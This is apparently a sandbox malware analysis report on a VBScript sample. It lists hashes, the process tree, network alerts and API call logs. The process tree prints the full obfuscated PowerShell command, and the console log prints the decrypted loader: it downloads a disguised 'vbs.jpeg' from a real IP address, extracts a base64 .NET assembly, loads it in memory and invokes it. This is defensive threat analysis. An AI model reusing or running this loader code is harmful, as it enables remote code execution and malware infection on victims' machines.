popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

greeceeeeArchive.vbs

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Aug. 13, 2024, 5:09 p.m. Aug. 13, 2024, 5:13 p.m.
Size 54.5KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 9218fd739d9081a575a2f5f1402e6fec
SHA256 c606949cb8191a3a5f68a7db78a68fec82540ef706dfd8d3bbfbb4547818b9d0
CRC32 C102F9C8
ssdeep 1536:QdU+NdJCdJ4ZxedJasiNJjJH3EWaIZtbwnyZqbd6M0C+6kZp03mt2:oZx/vH3EWaIZtbtZqpX+7U3S2
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\greeceeeeArchive.vbs

    2548

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI74328840722782576545825437205778CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIDFmt3MLNsK5aPpWbbIsBztpHuNrvMKi2jQU7fNLn0oMezIRYvIXeNHjkzcV0L3UZYqPgeEeMmKQG749m6fkiZBxoCMJZ51QJHUT+m0EixkU8s9qZ5cpt1AKID+ZFqc5VpkXFfLxCerM+fcw3/kGciLCo7LgS8a4BaZ48pjFi24pfdcuQwkClSibjgqYqSip9y5/dCAf6Nzz5QdAkde9PIMAQZt2oUDP7dM+N5eg9rXEnjwn0B2AWan/di8xNl5jllqI+bDLqPspcx8R2k37fOc1z9LI4HEbUAqTWIxNOW9Uzsaag6AHwENZIp1xGiyWFcUXdCTQMEJlfNcCdYWMwhQ8RdsHTWNZupvIsEHo9vGitwpM43p2UMy8PZdoCkoOiBohaKNZtbWS+t1FKRuAyozJz3z74u8Vq9GpIRAkOMw8Kce1yYCWbyqrbANO0I1sbG6lSeb394etA7LVCP7hnCd910mPNaByk1+GkhpZNKwJYERN9oxVzZ3zYiiaMZwUOoF547hGx+VxnktvtvwHpGFpj/nNK0aZRiXnJNQyLPmKiTH9ScDobO07O3QmUe3aUKuHE6/91ZF5RkyQDZgU3WV7dVPaYAApQkivkedaUvxlbEitTCnkzDfrKLvgbQym5DyAWxvPRhBT3lzI0GAFR9RPITKZ5R26nBhOhfd5An5QV6eF/Q9qnF0+3INT0tqVhhlfUi6O/pD0Cnw+o1GM92kSZ1OY51Ke+iJabzAenJU6aKyir+3zjfzS1NjosWlMcxOT2hGbn7Q2NS5O67xvgTYR6JNIQy2QOJ5IQ74EtDP9YC3iuyPh3b9ZxN7SbcmuV7PyW9uMV0jTdXQyOjbN+MB7Lr2GeM71Ug4wJ1FSPUzLChYRSFvdW61JiXWDA8fxVqqa55yq2wbjRGx8bbBGKECqW98HG4Tt8kzQyhom1+6KQjGm9fttMB6IBs/tqSiGidiRNHvVuwagWPJc27hAGyVLLYmDieAZSWpzJfYBprtbZqIM4F4/8ORw4hALpcN00nwkezpiCNsEU1DVU/xjCu/NROHLpmin8A/ao8gxb1PbnA/aJbvT4iU7LWDoIaRgO6m5wnG5eZf5Bnp3Bu4pvMAB8mgkwSAlTxHrIP79+Rl9lzLULYVHqNDbC7ukR1y9OFQKMLb2RUPx3XDyT8Da6AT9OFvAw8DLGT5R42eH3BmcweUr45fMCNAtjsYGeKAhGwasQKil9m5sWs3BmuR1JzMmTOxz+jiFF+yxy7buKzTOYO5vp2MrgqhXRZnS7osSb0yxELPfYkXpHhY1UZxV0bH8M9Cf0FGE3GnOR6qi0rlIU1lVj/cK367cmqZwIv0f3dzIBK1lhxQ2Lzo1tml4es+/vdjtLO1uRrYIGg/PiF0Z8kulZ38pXe6E1/MoMnArEygx0T4yYP/4ZHZaSfHoMfk09xITstL9nkUMi3iaGtKg=CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')

      2712

Name Response Post-Analysis Lookup
pastecode.dev
A 172.66.40.229
A 172.66.43.27
172.66.43.27
IP Address Status Action
164.124.101.2 Active Moloch
172.66.43.27 Active Moloch
198.46.176.133 Active Moloch

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.101:59002 -> 164.124.101.2:53 2053944 ET INFO Pastebin-like Service Domain in DNS Lookup (pastecode .dev) Misc activity
TCP 192.168.56.101:49161 -> 172.66.43.27:443 2053997 ET INFO Observed Pastebin-like Service Domain (pastecode .dev) in TLS SNI Misc activity
TCP 192.168.56.101:49161 -> 172.66.43.27:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49161
172.66.43.27:443 		C=US, O=Google Trust Services, CN=WE1 CN=pastecode.dev d9:2a:74:a8:39:b7:f5:58:35:8b:6b:79:ec:51:d6:73:e6:0f:03:b8

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Method invocation failed because [System.Security.Cryptography.AesManaged] does
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n't contain a method named 'Dispose'.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:715
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + function Decrypt-AESEncryption {Param([String]$Base64Text,[String]$Key)$aesMa
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: naged = New-Object System.Security.Cryptography.AesManaged;$aesManaged.Mode = [
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: System.Security.Cryptography.CipherMode]::CBC;$aesManaged.Padding = [System.Sec
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: urity.Cryptography.PaddingMode]::Zeros;$aesManaged.BlockSize = 128;$aesManaged.
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: KeySize = 256;$aesManaged.Key = (New-Object System.Security.Cryptography.SHA256
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key));$cipherBytes
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: = [System.Convert]::FromBase64String($Base64Text);$aesManaged.IV = $cipherBytes
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: [0..15];$decryptor = $aesManaged.CreateDecryptor();$decryptedBytes = $decryptor
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: .TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16);$aesManaged.Di
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: spose <<<< ();return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Tr
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: im([char]0);}$chave = "74328840722782576545825437205778";$textoCriptografadoBas
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: e64 = "DFmt3MLNsK5aPpWbbIsBztpHuNrvMKi2jQU7fNLn0oMezIRYvIXeNHjkzcV0L3UZYqPgeEeM
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: mKQG749m6fkiZBxoCMJZ51QJHUT+m0EixkU8s9qZ5cpt1AKID+ZFqc5VpkXFfLxCerM+fcw3/kGciLC
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: o7LgS8a4BaZ48pjFi24pfdcuQwkClSibjgqYqSip9y5/dCAf6Nzz5QdAkde9PIMAQZt2oUDP7dM+N5e
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: g9rXEnjwn0B2AWan/di8xNl5jllqI+bDLqPspcx8R2k37fOc1z9LI4HEbUAqTWIxNOW9Uzsaag6AHwE
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: NZIp1xGiyWFcUXdCTQMEJlfNcCdYWMwhQ8RdsHTWNZupvIsEHo9vGitwpM43p2UMy8PZdoCkoOiBoha
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: KNZtbWS+t1FKRuAyozJz3z74u8Vq9GpIRAkOMw8Kce1yYCWbyqrbANO0I1sbG6lSeb394etA7LVCP7h
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: nCd910mPNaByk1+GkhpZNKwJYERN9oxVzZ3zYiiaMZwUOoF547hGx+VxnktvtvwHpGFpj/nNK0aZRiX
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: nJNQyLPmKiTH9ScDobO07O3QmUe3aUKuHE6/91ZF5RkyQDZgU3WV7dVPaYAApQkivkedaUvxlbEitTC
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: nkzDfrKLvgbQym5DyAWxvPRhBT3lzI0GAFR9RPITKZ5R26nBhOhfd5An5QV6eF/Q9qnF0+3INT0tqVh
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: hlfUi6O/pD0Cnw+o1GM92kSZ1OY51Ke+iJabzAenJU6aKyir+3zjfzS1NjosWlMcxOT2hGbn7Q2NS5O
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: 67xvgTYR6JNIQy2QOJ5IQ74EtDP9YC3iuyPh3b9ZxN7SbcmuV7PyW9uMV0jTdXQyOjbN+MB7Lr2GeM7
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: 1Ug4wJ1FSPUzLChYRSFvdW61JiXWDA8fxVqqa55yq2wbjRGx8bbBGKECqW98HG4Tt8kzQyhom1+6KQj
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: Gm9fttMB6IBs/tqSiGidiRNHvVuwagWPJc27hAGyVLLYmDieAZSWpzJfYBprtbZqIM4F4/8ORw4hALp
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: cN00nwkezpiCNsEU1DVU/xjCu/NROHLpmin8A/ao8gxb1PbnA/aJbvT4iU7LWDoIaRgO6m5wnG5eZf5
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: Bnp3Bu4pvMAB8mgkwSAlTxHrIP79+Rl9lzLULYVHqNDbC7ukR1y9OFQKMLb2RUPx3XDyT8Da6AT9OFv
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: Aw8DLGT5R42eH3BmcweUr45fMCNAtjsYGeKAhGwasQKil9m5sWs3BmuR1JzMmTOxz+jiFF+yxy7buKz
console_handle: 0x0000017f
1 1 0

WriteConsoleW

 buffer: TOYO5vp2MrgqhXRZnS7osSb0yxELPfYkXpHhY1UZxV0bH8M9Cf0FGE3GnOR6qi0rlIU1lVj/cK367cm
console_handle: 0x0000018b
1 1 0

WriteConsoleW

 buffer: qZwIv0f3dzIBK1lhxQ2Lzo1tml4es+/vdjtLO1uRrYIGg/PiF0Z8kulZ38pXe6E1/MoMnArEygx0T4y
console_handle: 0x00000197
1 1 0

WriteConsoleW

 buffer: YP/4ZHZaSfHoMfk09xITstL9nkUMi3iaGtKg=";$textoDescriptografado = Decrypt-AESEncr
console_handle: 0x000001a3
1 1 0

WriteConsoleW

 buffer: yption -Base64Text $textoCriptografadoBase64 -Key $chave;Write-Host "Texto Desc
console_handle: 0x000001af
1 1 0

WriteConsoleW

 buffer: riptografado: $textoDescriptografado";Invoke-Expression $textoDescriptografado;
console_handle: 0x000001bb
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (Dispose:String) [], RuntimeEx
console_handle: 0x000001c7
1 1 0

WriteConsoleW

 buffer: ception
console_handle: 0x000001d3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MethodNotFound
console_handle: 0x000001df
1 1 0

WriteConsoleW

 buffer: Texto Descriptografado: $link = 'http://198.46.176.133/Upload/vbs.jpeg'; $webClient = New-Object System.Net.WebClient; try { $downloadedData = $webClient.DownloadData($link) } catch { Write-Host 'Failed To download data from $link' -ForegroundColor Red; exit }; if ($downloadedData -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($downloadedData); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('dnlib.IO.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.446esabbbbbbewesab/241.612.3.291//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado')) } }
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: Failed To download data from $link
console_handle: 0x0000001b
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9420
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b99e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b99e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b99e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b98a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b98a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b98a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b99e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b99e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b99e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b94e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b99e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b99e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b99e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b99e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b99e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b99e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b99e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b90a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b95a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b95a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9ce0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9ce0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9ce0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9ce0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003b9be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET https://pastecode.dev/raw/6l7qjjrz/paste1.txt
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 1900544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029c0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b51000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b52000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0221a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0222b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02227000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02212000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02225000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0221c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02aa0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0222c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02213000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02214000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02215000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
